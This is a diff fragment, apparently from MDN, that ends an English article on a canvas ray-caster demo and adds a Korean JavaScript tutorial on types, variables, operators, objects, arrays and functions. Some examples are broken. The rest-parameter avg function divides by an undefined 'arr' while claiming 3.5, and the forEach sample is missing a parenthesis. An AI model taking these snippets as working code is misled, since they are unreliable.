The canvas in Safari 2.0.1 performed surprisingly well. With the blockiness factor cranked up to render slivers 8 pixels wide, I can run a 320 x 240 window at 24 fps on my Apple mini. Firefox 1.5 Beta 1 is even faster; I can run 320 x 240 at 24 fps with 4 pixel slivers. Not exactly a new member of the ID software family, but pretty decent considering it's a fully interpreted environment, and I didn't have to worry about memory allocation or video modes or coding inner routines in assembler or anything. The code does attempt to be very efficient, using array look-ups of pre-computed values, but I'm no optimization guru, so things could probably be written faster.

+ +

Also, it leaves a lot to be desired in terms of trying to be any sort of game engine—there are no wall textures, no sprites, no doors, not even any teleporters to get to another level. But I'm pretty confident all those things could be added given enough time. The canvas API supports pixel copying of images, so textures seem feasible. I'll leave that for another article, probably from another person. =)

+ +

The ray-caster

+ +

The nice people here have manually copied my files up so you can take a look, and for your hacking enjoyment I've posted the individual file contents as code listings (see below).

+ +

So there you are, fire up Safari 1.3+ or Firefox 1.5+ or some other browser that supports the <canvas> element and enjoy!
+
+ input.js | Level.js | Player.js | RayCaster.html | RayCaster.js | trace.css | trace.js

+ +

See also

+ + diff --git a/files/ko/a_re-introduction_to_javascript/index.html b/files/ko/a_re-introduction_to_javascript/index.html new file mode 100644 index 0000000000..7206716138 --- /dev/null +++ b/files/ko/a_re-introduction_to_javascript/index.html @@ -0,0 +1,1038 @@ +--- +title: JavaScript 재입문하기 (JS ​튜토리얼) +slug: A_re-introduction_to_JavaScript +tags: + - CodingScripting + - Intermediate + - Intro + - JavaScript + - Learn + - Tutorial +translation_of: Web/JavaScript/A_re-introduction_to_JavaScript +--- +
{{jsSidebar}}
+ +

어째서 재입문일까요? 왜냐하면, JavaScript세계에서 가장 오해받고 있는 프로그래밍 언어로 악명이 높기 때문입니다. 종종 장난감같다고 조롱당하기도했지만, 이 거짓말같은 단순함 아래에는 몇 가지의 강력한 언어 기능이 숨어 있습니다. Javascript는 현재 엄청나게 많은, 요즘 가장 뜨고있는 애플리케이션들에 사용되고 있어서, 웹 또는 모바일 개발자 누구에게라도 이 기술에 대한 깊은 지식이 중요한 기량이 된다는 것을 보여주고 있습니다.

+ +

이 이야기를 이해하는데는 이 언어의 역사를 먼저 보는 것이 도움이 됩니다. JavaScript는 1995년 Netscape의 엔지니어 Brendan Eich에 의해 만들어졌고, 1996년 초에 Netscape 2와 함께 처음 릴리즈 되었습니다. 이것은 원래 LiveScript로 불리기로 되어 있었습니다만 Sun Microsystem의 Java 언어의 성공에 편승해보려고 -두 언어 사이의 공통점이 매우 적음에도 불구하고- 불행이 예견된 마케팅 결정에 따라 이름이 바뀌게 됩니다. 이 결정은 역사상 유래가 없는 혼란의 근원이 되어버립니다.

+ +

몇 달 후, Microsoft는 IE3와 함께 JScript를 발표했습니다. 이 JScript는 Javascript를 정말 닮았고 호환성이 좋았습니다. 몇 달 뒤에, Netscape는 1997년에 ECMAScript 표준의 첫번째 판이 되는 JavaScript를 유럽 표준화 단체인 Ecma International에 보냅니다. 이 표준은 1999년에 ECMAScript edition 3에 따라 큰 규모의 개정을 거친 후, 유례없이 아주 안정된 상태로 계속 유지되고 있습니다. 4번째 판은 중도 포기되었는데, 언어의 복잡성 증가에 관련한 정치적 문제 때문이었습니다. 이 4번째 판의 많은 파트들은 ECMAScript edition 5 (2009년 12월에 출간)와 6번째 개정판 규격(2015년에 출간)의 근간을 형성하고 있습니다. 

+ +
+

 이제부터는 ECMAScript를 우리에게 좀 더 친근한 말인  "JavaScript"라고 부르겠습니다.

+
+ +

대부분의 프로그래밍 언어와는 달리, JavaScript 언어는 입출력 개념이 없습니다. 이 언어는 호스트 환경 아래에서 스크립트 언어로서 동작하도록 디자인 되어있고, 따라서 외부 세계와 통신하기위해 호스트 환경이 제공하는 메커니즘에 의존합니다. 대부분의 경우 일반적인 호스트 환경은 브라우저이지만 JavaScript 인터프리터는 Adobe Acrobat, Photoshop, SVG images, Yahoo! 위젯 엔진 등의 제품에서도 발견할 수 있고, node.js 와 같은 서버 측 환경에서도 찾을 수 있습니다. 하지만 JavaScript가 사용되는 분야는 계속 더 넓혀지고 있습니다. NoSQL 데이터베이스, Apache CouchDB, 임베디드 컴퓨터, GNU/Linux OS의 가장 유명한 GUI 인 GNOME 과 같은 데스크톱 환경에서도 JavaScript가 사용됩니다.

+ +

개요

+ +

JavaScript는 유형 및 연산자, 표준 내장 객체 및 메소드가 있는 다중 패러다임, 동적 언어입니다. 구문은 Java 및 C 언어를 기반으로합니다. 이러한 언어의 많은 구조가 JavaScript에도 적용됩니다. JavaScript는 클래스 대신 객체 프로토 타입을 사용하여 객체 지향 프로그래밍을 지원합니다 (프로토 타입 상속 및 ES2015 {{jsxref("Classes")}}). JavaScript는 함수형 프로그래밍도 지원합니다. 함수는 객체이며, 함수는 실행 가능한 코드를 유지하고 다른 객체와 마찬가지로 전달 될 수 있습니다.

+ +

어떤 언어에서라도 기초가 되는 부분인 타입을 살펴보는 것부터 시작해봅시다. JavaScript 프로그램은 값을 다루고 해당 값은 모두 타입을 가지고 있습니다. JavaScript의 타입은 다음과 같습니다:

+ + + +

... 오, 그리고 약간 특별한 타입인 정의되지 않음(Undefined) 과 널(Null) 이 있습니다. 또한 객체의 특별한 종류인 배열(Array) 객체. 그리고 자유롭게 사용할 수 있는 날짜(Date) 객체정규식(RegExp) 객체가 있습니다. 그리고 기술적으로 정확히 말해 함수(Function)는 단지 객체의 특별한 타입으로 취급됩니다. 따라서 타입 구조도를 정리해보면 다음과 같습니다:

+ + + +

그리고 또 몇 가지 오류 타입이 내장되어 있습니다. 그렇지만 처음 구조도를 기억하고만 있으면 다른 것들도 아주 쉽게 이해할 수 있을 것입니다.

+ +

수 (Numbers)

+ +

설계 명세서에 의하면 JavaScript에서 수는 "이중정밀도 64비트 형식 IEEE 754 값"으로 정의됩니다. 이것은 몇가지 흥미로운 결과를 가져옵니다. JavaScript에는 정수와 같은 것이 존재하지 않으므로 ({{jsxref("BigInt")}} 제외), 조금 조심해야 합니다. 이 예제를 보세요:

+ +
console.log(3 / 2);             // 1이 아닌, 1.5
+console.log(Math.floor(3 / 2)); // 1
+ +

명백한 정수는 사실 암묵적으로 실수입니다.

+ +

또한, 다음과 같은 것들을 주의하세요:

+ +
0.1 + 0.2 = 0.30000000000000004
+
+ +

실제로 정수 값은 32 비트 정수로 처리되며 일부 구현은 32 비트 정수가 아닌 숫자에 유효한 명령어를 수행 할 때까지 이러한 방식으로 저장합니다. 이는 비트 단위 작업에 중요 할 수 있습니다.

+ +

덧셈, 뺄셈, 계수 (또는 나머지) 연산을 포함하는 표준 산술 연산자가 지원됩니다. 또한 앞에서 언급하는 것을 깜박 잊은 고급 수학 함수와 상수를 다루기 위한 수학(Math)으로 불리는 내장 객체가 있습니다:

+ +
Math.sin(3.5);
+var circumference = 2 * Math.PI * r;
+ +

내장 parseInt() 함수를 사용하여 문자열을 정수로 변환할 수 있습니다. 이는 다음과 같이 옵션으로 주어지는 두번째 매개변수를 밑으로 하여 수행할 수 있습니다:

+ +
parseInt('123', 10); // 123
+parseInt('010', 10); // 10
+ +

구형 브라우저에서 "0"으로 시작하는 문자열은 8 진수 (기수 8)로 가정되지만, 2013 년 이후에는 그렇지 않습니다. 문자열 형식이 확실하지 않으면 이전 브라우저에서 놀라운 결과를 얻을 수 있습니다.

+ +
parseInt('010');  //  8
+parseInt('0x10'); // 16
+ +

이 같은 결과는 {{jsxref("Global_Objects/parseInt", "parseInt()")}} 함수가 0으로 시작되는 문자열을 8진수로, "0x"로 시작하는 문자열은 16진수로 취급하기 때문에 발생합니다. 16진수 표기법이 그대로 유지됩니다. 8진수는 제거되었습니다.

+ +

만약 이진수를 정수로 변환하고 싶다면, 밑을 바꾸기만하면 됩니다:

+ +
parseInt('11', 2); // 3
+
+ +

이와 비슷하게, 내장 함수 {{jsxref("Global_Objects/parseFloat", "parseFloat()")}}를 사용하여 부동 소수점 숫자를 파싱 할 수 있습니다. {{jsxref("Global_Objects/parseInt", "parseInt()")}}과 달리 parseFloat()는 항상 10진수를 사용합니다.

+ +

단항 연산자 + 를 사용하여 값을 숫자로 변환 할 수도 있습니다:

+ +
+ '42';   // 42
++ '010';  // 10
++ '0x10'; // 16
+ +

문자열이 수가 아닌 경우 NaN ("Not a Number" (수가 아님)을 줄인 약자)로 불리는 특별한 값을 돌려줍니다:

+ +
parseInt('hello', 10); // NaN
+
+ +

NaN 는 독성을 가지고 있습니다: 어떤 수학 연산의 입력값으로써 주어지면 그 결과는 역시 NaN가 되기 때문입니다:

+ +
NaN + 5; // NaN
+
+ +

내장 isNaN() 함수를 사용해서 NaN 인지 여부를 검사할 수 있습니다:

+ +
isNaN(NaN); // true
+
+ +

JavaScript는 또 특별한 값 Infinity-Infinity를 가지고 있습니다:

+ +
 1 / 0; //  Infinity
+-1 / 0; // -Infinity
+ +

내장 함수 {{jsxref("Global_Objects/isFinite", "isFinite()")}}를 사용하여 Infinity, -Infinity 및 NaN 값을 테스트 할 수 있습니다.

+ +
isFinite(1 / 0);     // false
+isFinite(-Infinity); // false
+isFinite(NaN);       // false
+ +
+

{{jsxref("Global_Objects/parseInt", "parseInt()")}} 와 {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} 함수는 숫자로 아닌 문자가 나올때까지 문자열을 파싱하고, 그 지점까지 파싱된 숫자를 반환합니다. 그런데 "+"연산자는 중간에 유효하지 않은 문자가 있으면 그대로 문자열을 NaN 으로 그냥 변환해버립니다. console에서 "10.2abc"를 파싱해보면 어떤점이 다른지 더 쉽게 이해할 수 있습니다.

+
+ +

문자열 (Strings)

+ +

JavaScript에서 문자열은 유니코드 문자들이 연결되어 만들어진 것입니다. 이는 국제화(i18n, internationalization) 하려하는 누구에게라도 환영받을만한 소식입니다. 좀 더 정확히 말하자면, 각각이 16비트 숫자로 표현된 UTF-16 코드 유닛이 길게 이어져있는 것입니다. 각 유니코드 문자는 1개나 2개의 코드 유닛으로 표현됩니다.

+ +

한 개의 문자를 나타내려면 길이가 1인 문자열을 사용하면 됩니다.

+ +

문자열의 길이를 알고싶다면, 해당 문자열의 length 속성(해당 객체가 소유하고 있는 성질을 나타내는 값)에 접근하면 됩니다:

+ +
'hello'.length; // 5
+
+ +

우리의 첫 JavaScript 객체입니다! 문자열도 역시 객체로 취급된다고 언급했던적이 있죠? 다음과 같이 메소드까지 있는 확실한 녀석입니다:

+ +
'hello'.charAt(0); // "h"
+'hello, world'.replace('hello', 'goodbye'); // "goodbye, world"
+'hello'.toUpperCase(); // "HELLO"
+ +

이외의 타입들

+ +

JavaScript는 의도적으로 값이 없음을 가리키는 '객체' 타입의 객체인 null과 초기화되지 않은 값 — 아직 어떤 값도 주어지않은(할당되지않은) 변수임을 가리키는 '정의되지 않음' 타입의 객체인 undefined로 구분됩니다. 값에 대해서 나중에 언급할 것이지만 JavaScript에서 변수에 값을 주지않고 선언하는 것이 가능합니다. 이럴 경우, 변수의 타입은 undefined이 되는 것입니다.

+ +

JavaScript는 truefalse 값 (둘은 모두 키워드로 예약되어있는 값)을 가질 수 있는 부울 타입을 가지고 있습니다. 다음과 같은 규칙에 따라 어떤 임의의 값을 부울값으로 변환할 수 있습니다:

+ +
    +
  1. false, 0, 빈 문자열 (""), 수가 아님을 뜻하는 NaN, null, 와 undefined은 모두 false가 됩니다.
  2. +
  3. 다른 모든 값은 true가 됩니다.
  4. +
+ +

이 변환은 Boolean() 함수를 써서 명시적으로 이 작업을 수행하실 수 있습니다:

+ +
Boolean('');  // false
+Boolean(234); // true
+ +

하지만 반드시 이렇게 할 필요는 거의 없습니다. JavaScript는 이러한 변환 작업을 if 문 (아래를 보세요)과 같이 부울값이 필요한 경우를 만나게되면 자동으로 사용자가 모르는 사이에 처리해버리기 때문입니다. 이러한 이유로 인해 우리는 가끔 부울 타입으로 변환되었을 때, truefalse이 됨을 의미하는 값들을 각각 "참 값"과 "거짓 값"으로 부를 것입니다. 또는 각각 "참으로 취급되다"와 "거짓으로 취급되다"라는 식으로 불릴 수도 있습니다.

+ +

부울 연산자는 && (논리적와, 그리고 ), || (논리적또는 ), 그리고 ! (논리적부정 )이 지원됩니다. 아래에서 다시 언급하겠습니다.

+ +

변수 (Variables)

+ +

JavaScript에서 새로운 변수는 let, constvar 키워드로 선언됩니다.

+ +

let을 사용하면 블록 유효 범위 변수를 선언 할 수 있습니다. 선언 된 변수는 변수가 포함 된 함수 블록에서 사용할 수 있습니다.

+ +
let a;
+let name = 'Simon';
+ +

아래는 let으로 선언한 변수가 가지는 유효 범위의 예제입니다. 

+ +
// myLetVariable는 여기에서 보이지 *않습니다*
+
+for (let myLetVariable = 0; myLetVariable < 5; myLetVariable++) {
+  // myLetVariable는 여기에서 유효합니다
+}
+
+// myLetVariable는 여기에서 보이지 *않습니다*
+ +

const는 값이 변경되지 않는 변수를 선언 할 수 있게 합니다. 변수는 변수가 선언 된 함수 블록에서 사용할 수 있습니다.

+ +
const Pi = 3.14; // 변수 Pi 설정
+Pi = 1; // 상수로 설정된 변수는 변경 할 수 없기 때문에 애러 발생.
+ +

var은 가장 일반적인 변수 선언 키워드입니다. let, const 키워드가 가지는 제한을 var은 갖지 않습니다. 이는 자바스크립트에서 변수를 선언하는 전통적인 유일한 방법이었기 때문입니다. var 키워드로 선언 된 변수는 변수가 선언 된 함수 블록에서 사용 할 수 있습니다.

+ +
var a;
+var name = 'Simon';
+ +

var로 선언한 변수의 유효 범위 예제입니다.

+ +
// myVarVariable는 여기에서 사용 할 수 *있습니다*
+
+for (var myVarVariable = 0; myVarVariable < 5; myVarVariable++) {
+  // myVarVariable는 함수 전체에서 사용 할 수 있습니다.
+}
+
+// myVarVariable는 여기에서 사용 할 수 *있습니다*
+ +

변수에 값을 지정하지 않고 변수를 선언하면, 타입은 undefined로 지정 됩니다.

+ +

자바스크립트와 자바 같은 다른 언어 사이의 중요한 차이점은 자바스크립트는 블록에 범위가 없다는 것입니다. 함수에만 범위가 있습니다. 변수가 복합 문에서 (예를 들어 if 제어 구조 내에서) var를 사용하여 정의 된 경우 전체 함수에서 볼 수 있습니다. 그러나 ECMAScript 2015부터 letconst 선언을 사용하면 블록 범위 변수를 만들 수 있습니다.

+ +

연산자 (Operators)

+ +

JavaScript의 산술 연산자로는 +, -, *, /, %(나머지 연산자)가 있습니다. 값은 = 연산자로 할당할 수 있고, +=-=처럼 다른 연산자를 같이사용해서 할당할 수 있습니다. 이렇게 쓰인 연산자는 x = x연산자 y와 같은 결과를 나타냅니다.

+ +
x += 5;
+x = x + 5;
+
+ +

++-- 를 각각 점진적인 증가와 감소에 사용할 수 있습니다. 이들은 또한 전처리 또는 후처리 연산자로 사용될 수 있습니다.

+ +

+ 연산자는 문자열 이어붙이기도 합니다:

+ +
'hello' + ' world'; // "hello world"
+
+ +

문자열에 어떤 수 (또는 다른 값)를 더하면 일단 모두 문자열로 바뀌게 됩니다. 다음 예를 보시면 무슨 말씀인지 아실 수 있을겁니다:

+ +
'3' + 4 + 5;  // "345"
+ 3 + 4 + '5'; // "75"
+ +

빈 문자열에 어떤 값을 더하는 것은 해당 값을 문자열로 바꾸는 요령입니다.

+ +

JavaScript에서 비교<, >, <=>= 를 통해 가능합니다. 이 연산자들은 문자열과 수 양쪽 모두에서 동작합니다. 상동은 약간 직관성이 떨어지는데 이중 등호 (==) 연산자는 서로 다른 타입을 줄 경우 타입 강제 변환을 수행하기 때문에 다음과 같이 때때로 기대하지 않은 결과를 내보내기 때문입니다:

+ +
123 == '123'; // true
+1 == true;    // true
+
+ +

타입 강제 변환을 하지 않게 하려면, 삼중 등호 연산자 (===)를 사용해야합니다:

+ +
123 === '123'; // false
+1 === true;    // false
+
+ +

이와 비슷하게 !=!== 연산자가 있습니다.

+ +

JavaScript는 값을 비트로 취급하는 연산자도 가지고 있습니다. 사용하고 싶을 때 언제라도 사용할 수 있도록 말이죠.

+ +

제어 구조

+ +

JavaScript는 C 계열의 다른 언어들과 비슷한 제어 구조를 가지고 있습니다. 조건문은 ifelse를 지원하는데, 원하시는대로 얼마든지 중첩 시켜서 사용할 수 있습니다:

+ +
var name = 'kittens';
+if (name == 'puppies') {
+  name += ' woof';
+} else if (name == 'kittens') {
+  name += ' meow';
+} else {
+  name += '!';
+}
+name == 'kittens meow';
+
+ +

JavaScript는 while 반복문과 do-while 반복문도 사용할 수 있습니다. 첫번째 것은 단순 반복에 유용하게 사용할 수 있고, 두번째 것은 반복문이 반드시 적어도 한번이상 실행 되도록 하고 싶을 때 사용할 수 있습니다:

+ +
while (true) {
+  // 무한루프!
+}
+
+var input;
+do {
+  input = get_input();
+} while (inputIsNotValid(input));
+
+ +

JavaScript의 for 반복문은 C 와 Java의 반복문과 같습니다. 말하자면, 반복문에 필요한 제어 정보를 한 줄에 표현할 수 있다는 이야기지요.

+ +
for (var i = 0; i < 5; i++) {
+  // 내부 동작을 5번 반복합니다
+}
+
+ +

JavaScript에는 두개의 중요한 for 반복문 또한 포함됩니다. 첫번째로 for...of 입니다.

+ +
for (let value of array) {
+  // value로 작업을 실행합니다
+}
+
+ +

그리고 for ... in 입니다.

+ +
for (let property in object) {
+  // object의 항목(property)으로 작업을 실행합니다
+}
+
+ +

&&|| 연산자는 첫번째 식을 평가한 결과에 따라서 두번째 식을 평가를 실행하는 단축평가(short-circuit) 논리를 사용합니다. 이는 다음과 같이 객체에 접근하기 전에 null 객체인지, 아닌지를 검사하는데 유용하게 사용될 수 있습니다:

+ +
var name = o && o.getName();
+
+ +

또는 (틀린값이 유효하지 않은 값일때) 캐싱 값에 대해서도 사용합니다.:

+ +
var name = cachedName || (cachedName = getName());
+
+ +

JavaScript는 한줄로 조건문을 쓸 수 있게 해주는 삼중 연산자도 가지고 있습니다:

+ +
var allowed = (age > 18) ? "yes" : "no";
+
+ +

switch 문은 숫자나 문자열을 기반으로 다중 분기되는 문장을 작성하는데 사용될 수 있습니다:

+ +
switch(action) {
+    case 'draw':
+        drawIt();
+        break;
+    case 'eat':
+        eatIt();
+        break;
+    default:
+        doNothing();
+}
+
+ +

break 문장을 추가하지 않았다면, 다음 단계로 "넘어가서" 실행합니다. 이렇게 되는 것을 기대하는 것은 매우 드문경우 입니다. 실은 디버깅하는데 용이하도록 하기위해 주석으로서 일부러 붙여놓은 넘어가기 이름표 입니다:

+ +
switch(a) {
+    case 1: // fallthrough
+    case 2:
+        eatIt();
+        break;
+    default:
+        doNothing();
+}
+
+ +

default 구문의 적용은 선택사항입니다. switch와 case 부분에서 둘다 표현식을 사용할 수도 있습니다. switch부분과 case 부분의 표현식은  === 연산자로 비교됩니다.

+ +
switch(1 + 3){
+    case 2 + 2:
+        yay();
+        break;
+    default:
+        neverhappens();
+}
+
+ +

객체 (Objects)

+ +

JavaScript 객체는 간단히 이름-값 쌍(name-value pairs)의 모임입니다. 그렇기 때문에, JavaScript의 객체의 모임은 다음과 비슷하다고 할 수 있습니다:

+ + + +

이 데이터 구조가 매우 광범위하게 사용된다는 사실은 활용 방도가 다양함을 입증합니다. JavaScript내 모든 것 (코어 타입들은 제외)은 객체로 취급되기 때문에 어떤 JavaScript 프로그램도 기본적으로 해쉬 테이블을 검색하는데 필요한 출중한 성능을 가지고 있습니다. 매우 빠르기 때문에 장점이 됩니다!

+ +

값은 객체를 포함하여 아무 JavaScript 값이 될 수 있는 반면, "이름" 부분은 JavaScript 문자열 입니다. 이는 무작위적인 복잡성을 가지는 데이터 구조를 만들 수 있도록 해줍니다.

+ +

빈 객체를 생성하는데 두가지 방법이 있습니다:

+ +
var obj = new Object();
+
+ +

와:

+ +
var obj = {};
+
+ +

이들은 의미적으로 동치입니다. 두번째 방법은 객체 리터럴 구문이라고 부르며 더 편리합니다. 객체 리터럴 구문은 JSON 구문의 핵심이며 이 방법을 사용한 코드를 더 많이 볼 수 있습니다.

+ +

객체 리터럴 구문으로 객체의 전체적인 구조를 초기화 할 수 있습니다:

+ +
var obj = {
+    name: "Carrot",
+    "for": "Max",
+    details: {
+        color: "orange",
+        size: 12
+    }
+}
+
+ +

속성에 연속적으로 접근할 수 있습니다:

+ +
obj.details.color; // orange
+obj["details"]["size"]; // 12
+
+ +

아래 예제는 객체 프로토타입(Person)과 프로토타입의 인스턴스(you)를 생성합니다.

+ +
function Person(name, age) {
+  this.name = name;
+  this.age = age;
+}
+
+// 객체를 정의한다
+var you = new Person('You', 24);
+// "You"라는 이름의 24세인 새로운 사람을 생성중이다.
+
+ +

일단 생성되면, 객체의 속성에 다음의 두가지 방법들 중 한가지로 접근할 수 있습니다:

+ +
// dot 표기법
+obj.name = "Simon"
+var name = obj.name;
+
+ +

그리고...

+ +
// bracket 표기법
+obj["name"] = "Simon";
+var name = obj["name"];
+// key를 정의하기 위해 변수도 쓸수 있습니다.
+var user = prompt('what is your key?')
+obj[user] = prompt('what is its value?')
+
+ +

이들은 의미적으로 역시 같습니다. 두번째 방법은 속성의 이름이 실행시간(run-time)에 계산될 수 있는 문자열로 주어집니다. 하지만 이방법을 사용하면 일부 JavaScript엔진과 압축기 최적화(minifier optimizations)를 적용할수 없습니다.또한 예약된 단어(키워드)로 되어있는 이름으로 객체의 속성을 설정하거나 얻어낼 수 있습니다:

+ +
obj.for = "Simon"; // 구문 오류, for 가 예약된 단어(키워드)이기 때문에
+obj["for"] = "Simon"; // 정상 동작
+
+ +
+

ECMAScript 5 이래로, 예약어는  객체 항목의 이름으로 "덧붙임없이" 사용할수도 있습니다. 이말은 객체 리터럴을 정의할때 따옴표로 "둘러쌀" 필요가 없다는 의미입니다.  ES5 Spec을 참고해 보십시오.

+
+ +

객체나 프로토타입에 대한 좀더 상세한 내용은 Object.prototype 을 참조하십시오. 객체 프로토타입과 객체 프로토타입 체인에 대한 설명은 상속과 프로토타입 체인 을 참조하십시오.

+ +
+

ECMAScript 2015 이래로, 객체의 key는 생성시의 대괄호 표기법(bracket notation)으로 정의될수 있습니다. 그냥 var userPhone = {}; userPhone[phoneType] = 12345. 처럼 표기하는 방법 대신 {[phoneType]: 12345} 와 같은 사용법도 가능합니다.

+
+ +

배열 (Arrays)

+ +

JavaScript에서 배열은 실제로는 특별한 타입의 객체입니다. (숫자로 나타낸 속성은 자연스럽게 [] 구문만을 사용해서 접근하게 되므로) 일반 객체와 많이 비슷하게 동작하지만, 이 객체는 'length'라는 한가지 마법적인 속성을 가집니다. 이는 항상 배열에서 가장 큰 인덱스보다 하나 더 큰 값으로 존재합니다.

+ +

배열을 생성하는 예전 방법은 다음과 같습니다:

+ +
var a = new Array();
+a[0] = "dog";
+a[1] = "cat";
+a[2] = "hen";
+a.length // 3
+
+ +

한가지 더 편리한 배열 표현 방법은 배열 리터럴을 사용하는 것입니다:

+ +
> var a = ["dog", "cat", "hen"];
+> a.length
+3
+
+ +

배열 리터럴 끝에 콤마(",")를 꼬리로 남겨두는 것은 브라우저마다 다르게 처리하므로 그렇게 하지는 마시기 바랍니다.

+ +

array.length 는 배열에 들어있는 항목의 수를 반드시 반영하지는 않는다는 점을 주의하시기 바랍니다. 다음과 같은 경우를 고려해보겠습니다:

+ +
> var a = ["dog", "cat", "hen"];
+> a[100] = "fox";
+> a.length
+101
+
+ +

기억해두세요 - 배열의 length 속성은 최대 인덱스에 하나를 더한 값일 뿐입니다.

+ +

존재하지 않는 배열 인덱스를 참조하려고하면 다음과 같이 undefined 을 얻게됩니다:

+ +
> typeof(a[90])
+undefined
+
+ +

[]length에 관한 위의 사항들을 감안하면 배열을 for 반복문으로 처리할 때 다음과 같은 방법으로 처리하실 수 있을 것입니다:

+ +
for (var i = 0; i < a.length; i++) {
+    // a[i] 로 뭔가를 수행
+}
+
+ +

ES2015는 배열과 같은 이터러블 객체를 위해 좀더 간결한 for...of 루프를 소개했습니다.

+ +
for (const currentValue of a) {
+    // currentValue 로 뭔가를 수행
+}
+ +

또한 for...in 루프를 이용하여 배열에 루프를 돌릴수도 있지만, 이 방법은 배열 요소를 반복하는게 아니라 배열 인덱스를 반복합니다. 뿐만 아니라, 누군가 Array.prototype에 새로운 속성을 추가하면, 그 속성들 또한 이런 루프로 반복됩니다. 따라서 이런 반복 형태는 배열에는 추천되지 않습니다.

+ +

배열에 대한 또다른 반복방법은 ECMAScript 5에 추가된 forEach() 입니다:

+ +
['dog', 'cat', 'hen'].forEach(function(currentValue, index, array) {
+    // currentValue나 array[index]로 뭔가를 수행
+}
+
+ +

배열에 항목 하나를 추가하길 원한다면 이렇게 하면 됩니다:

+ +
a.push(item);
+ +

배열은 몇가지 메서드가 제공됩니다. 배열 메서드에 대한 전체 문서를 참조하십시오.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
메서드 이름설명
a.toString()각 항목에 대한 toString()의 출력이 콤마로 구분된 한개의 문자열을 반환합니다.
a.toLocaleString()각 항목에 대한 toLocaleString()의 출력이 콤마로 구분된 한개의 문자열을 반환합니다.
a.concat(item1[, item2[, ...[, itemN]]])item들이 덧붙여진 한개의 배열을 반환합니다.
a.join(sep)배열의 값들을 sep 인자로 구분하여 합친 한개의 문자열로 변환합니다.
a.pop()배열의 마지막 항목을 반환하면서 제거합니다.
a.push(item1, ..., itemN)배열의 끝에 item들을 덧붙입니다.
a.shift()배열의 첫번째 항목을 반환하면서 제거합니다.
a.unshift(item1[, item2[, ...[, itemN]]])배열의 앞쪽에 item들을 덧붙입니다.
a.slice(start[, end])배열의 일부분을 새배열로 반환합니다.
a.sort([cmpfn])옵션으로 비교용도의 함수를 입력받습니다.
a.splice(start, delcount[, item1[, ...[, itemN]]])배열의 일부분을 제거하고 다른 항목으로 대체하여 배열을 변경합니다..
a.reverse()배열의 순서를 거꾸로 배열합니다.
+ +

함수 (Functions)

+ +

객체와 마찬가지로, 함수는 JavaScript를 이해하는데 핵심이 되는 컴포넌트입니다. 가장 기본적인 함수의 예는 다음과 같습니다:

+ +
function add(x, y) {
+    var total = x + y;
+    return total;
+}
+
+ +

이 예는 기본 함수에 대해 알아야 할 모든 것을 보여주고 있습니다. JavaScript 함수는 0 이상의 이름이 있는 매개변수를 가질 수 있습니다. 함수의 본체는 갯수 제한없이 구문을 포함할 수 있고 해당 함수에 지역적으로 변수를 보유하도록 선언할 수 있습니다. return 문은 언제나 값을 돌려주고 함수의 실행을 끝내는데 사용될 수 있습니다. 리턴 문이 없으면 (혹은 값이 없는 리턴이 사용되면), JavaScript는 undefined을 돌려줍니다.

+ +

이름 붙여진 매개변수들은 다른 어떤 것보다도 해당 함수가 어떤 함수인지 설명해주는 좋은 역할을 할 수 있습니다. 해당 함수가 원하는 매개변수를 주지않고 함수를 호출할 수 있지만 그럴 경우 해당 변수들은 undefined로 설정됩니다.

+ +
add(); //NaN
+// undefined에 대해 덧셈을 수행할 수 없습니다
+
+ +

함수가 기대하는 원래의 매개변수보다 많은 매개변수를 넘겨줄 수도 있습니다:

+ +
add(2, 3, 4); // 5
+// 처음의 두 수가 더해집니다. 4는 무시됨
+
+ +

이 예는 조금 어리석어 보이지만, 함수는 추가적으로 주어진 매개변수를 함수 내부에서 접근할수 있습니다. 이 객체는 arguments라고 하며, 해당 함수에  매개변수로 넘겨진 모든 값을 가지고 있는 배열과 비슷한 객체입니다. 우리가 원하는만큼 값을 취하는 add 함수를 다시 써보겠습니다:

+ +
function add() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i < j; i++) {
+        sum += arguments[i];
+    }
+    return sum;
+}
+
+add(2, 3, 4, 5); // 14
+
+ +

확실히 2 + 3 + 4 + 5를 직접쓰는 것보다 유용한 함수는아닙니다. 평균계산 함수를 만들어 보겠습니다:

+ +
function avg() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i < j; i++) {
+        sum += arguments[i];
+    }
+    return sum / arguments.length;
+}
+
+avg(2, 3, 4, 5); // 3.5
+
+ +

이건 매우 유용합니다만, 좀 번잡해보입니다. 코드 크기를 다소 줄이기 위해, arguments 배열의 사용을 Rest 파라미터 문법으로 대체해볼 필요가 있습니다. 이 방법으로, 코드 크기는 최소한으로 유지 하면서, 갯수 제한없이 함수로 인자를 전달할수 있습니다. Rest 파라미터 연산자는 다음과 같은 포맷(...variable)으로 함수 파라미터 목록에 사용됩니다. 이 varaible 인자는 함수가 호출될때 전달되는 모든 인자를 포함합니다. variable 인자에서 반환되는 값을 사용하기 위해 위 코드에서 for 루프를 for..of 루프로 변경합니다.

+ +
function avg(...args) {
+    var sum = 0;
+    for (let value of args) {
+        sum += value;
+    }
+    return sum / arr.length;
+}
+
+avg(2, 3, 4, 5); // 3.5
+
+ +
+

위 코드에서,변수 args 는 함수로 전달된  모든 값을 가지고 있습니다.
+
+ rest 파라미터 연산자가 함수 선언의 어느곳에 위치하든 선언 위치 이후에 모든 인자를 저장하는것이며, 이전이 아니라는 것이 중요합니다. 즉 , function avg(firstValue, ...args) 에서 함수로 전달된 첫번째 값은 firstValue 변수에 저장되며, 남은 변수들은 args에 저장됩니다.

+
+ +

이건 또다른 유용한 언어 특성입니다만 우리를 새로운 문제점으로 인도합니다. avg() 함수는 콤마로 구분된 인자목록을 받지만, 배열의 평균을 알고싶은 경우라면요? 함수를 다음과 같이 재작성 하면 됩니다 :

+ +
function avgArray(arr) {
+  var sum = 0;
+  for (var i = 0, j = arr.length; i < j; i++) {
+    sum += arr[i];
+  }
+  return sum / arr.length;
+}
+
+avgArray([2, 3, 4, 5]); // 3.5
+ +

하지만 우리가 이미 만든 함수를 다시 사용할 수 있다면 좋을 것입니다. 운이 좋게도 JavaScript는 함수 객체라면 모두 가지게 되는 apply() 메소드를 사용해서 임의의 매개변수 배열을 함수에 넘겨줄 수 있습니다.

+ +
> avg.apply(null, [2, 3, 4, 5])
+3.5
+
+ +

